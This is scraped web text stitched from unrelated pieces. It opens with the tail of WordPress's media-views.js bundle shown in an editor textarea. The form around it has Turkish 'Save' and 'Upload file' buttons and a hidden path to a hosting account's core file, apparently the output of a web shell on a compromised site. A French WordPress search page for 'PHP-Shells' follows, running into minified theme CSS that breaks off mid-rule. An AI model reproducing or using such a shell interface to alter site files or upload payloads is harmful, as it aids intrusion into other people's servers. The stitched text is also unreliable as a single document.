			selector = $( selector );
		}

		// Resolve the deferred when the first element finishes animating.
		selector.first().one( $.support.transition.end, deferred.resolve );

		// Just in case the event doesn&#039;t trigger, fire a callback.
		_.delay( deferred.resolve, sensitivity );

	// Otherwise, execute on the spot.
	} else {
		deferred.resolve();
	}

	return deferred.promise();
};

media.controller.Region = __webpack_require__( 9875 );
media.controller.StateMachine = __webpack_require__( 6150 );
media.controller.State = __webpack_require__( 5694 );

media.selectionSync = __webpack_require__( 4181 );
media.controller.Library = __webpack_require__( 472 );
media.controller.ImageDetails = __webpack_require__( 705 );
media.controller.GalleryEdit = __webpack_require__( 2038 );
media.controller.GalleryAdd = __webpack_require__( 7127 );
media.controller.CollectionEdit = __webpack_require__( 8612 );
media.controller.CollectionAdd = __webpack_require__( 7145 );
media.controller.FeaturedImage = __webpack_require__( 1169 );
media.controller.ReplaceImage = __webpack_require__( 2275 );
media.controller.EditImage = __webpack_require__( 5663 );
media.controller.MediaLibrary = __webpack_require__( 8065 );
media.controller.Embed = __webpack_require__( 4910 );
media.controller.Cropper = __webpack_require__( 5422 );
media.controller.CustomizeImageCropper = __webpack_require__( 9660 );
media.controller.SiteIconCropper = __webpack_require__( 6172 );

media.View = __webpack_require__( 4747 );
media.view.Frame = __webpack_require__( 1061 );
media.view.MediaFrame = __webpack_require__( 2836 );
media.view.MediaFrame.Select = __webpack_require__( 455 );
media.view.MediaFrame.Post = __webpack_require__( 4274 );
media.view.MediaFrame.ImageDetails = __webpack_require__( 5424 );
media.view.Modal = __webpack_require__( 2621 );
media.view.FocusManager = __webpack_require__( 718 );
media.view.UploaderWindow = __webpack_require__( 8291 );
media.view.EditorUploader = __webpack_require__( 3674 );
media.view.UploaderInline = __webpack_require__( 1753 );
media.view.UploaderStatus = __webpack_require__( 8197 );
media.view.UploaderStatusError = __webpack_require__( 6442 );
media.view.Toolbar = __webpack_require__( 5275 );
media.view.Toolbar.Select = __webpack_require__( 9458 );
media.view.Toolbar.Embed = __webpack_require__( 397 );
media.view.Button = __webpack_require__( 846 );
media.view.ButtonGroup = __webpack_require__( 168 );
media.view.PriorityList = __webpack_require__( 8815 );
media.view.MenuItem = __webpack_require__( 9013 );
media.view.Menu = __webpack_require__( 1 );
media.view.RouterItem = __webpack_require__( 6327 );
media.view.Router = __webpack_require__( 4783 );
media.view.Sidebar = __webpack_require__( 1992 );
media.view.Attachment = __webpack_require__( 4075 );
media.view.Attachment.Library = __webpack_require__( 3443 );
media.view.Attachment.EditLibrary = __webpack_require__( 5232 );
media.view.Attachments = __webpack_require__( 8142 );
media.view.Search = __webpack_require__( 2102 );
media.view.AttachmentFilters = __webpack_require__( 7709 );
media.view.DateFilter = __webpack_require__( 6472 );
media.view.AttachmentFilters.Uploaded = __webpack_require__( 1368 );
media.view.AttachmentFilters.All = __webpack_require__( 7349 );
media.view.AttachmentsBrowser = __webpack_require__( 6829 );
media.view.Selection = __webpack_require__( 8282 );
media.view.Attachment.Selection = __webpack_require__( 3962 );
media.view.Attachments.Selection = __webpack_require__( 3479 );
media.view.Attachment.EditSelection = __webpack_require__( 4593 );
media.view.Settings = __webpack_require__( 1915 );
media.view.Settings.AttachmentDisplay = __webpack_require__( 7656 );
media.view.Settings.Gallery = __webpack_require__( 7266 );
media.view.Settings.Playlist = __webpack_require__( 2356 );
media.view.Attachment.Details = __webpack_require__( 6090 );
media.view.AttachmentCompat = __webpack_require__( 2982 );
media.view.Iframe = __webpack_require__( 1982 );
media.view.Embed = __webpack_require__( 5741 );
media.view.Label = __webpack_require__( 4338 );
media.view.EmbedUrl = __webpack_require__( 7327 );
media.view.EmbedLink = __webpack_require__( 8232 );
media.view.EmbedImage = __webpack_require__( 2395 );
media.view.ImageDetails = __webpack_require__( 2650 );
media.view.Cropper = __webpack_require__( 7637 );
media.view.SiteIconCropper = __webpack_require__( 443 );
media.view.SiteIconPreview = __webpack_require__( 7810 );
media.view.EditImage = __webpack_require__( 6126 );
media.view.Spinner = __webpack_require__( 9141 );
media.view.Heading = __webpack_require__( 170 );

/******/ })()
;</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/fasobeni/wp-includes/js/media-views.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d0a68bd485*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes 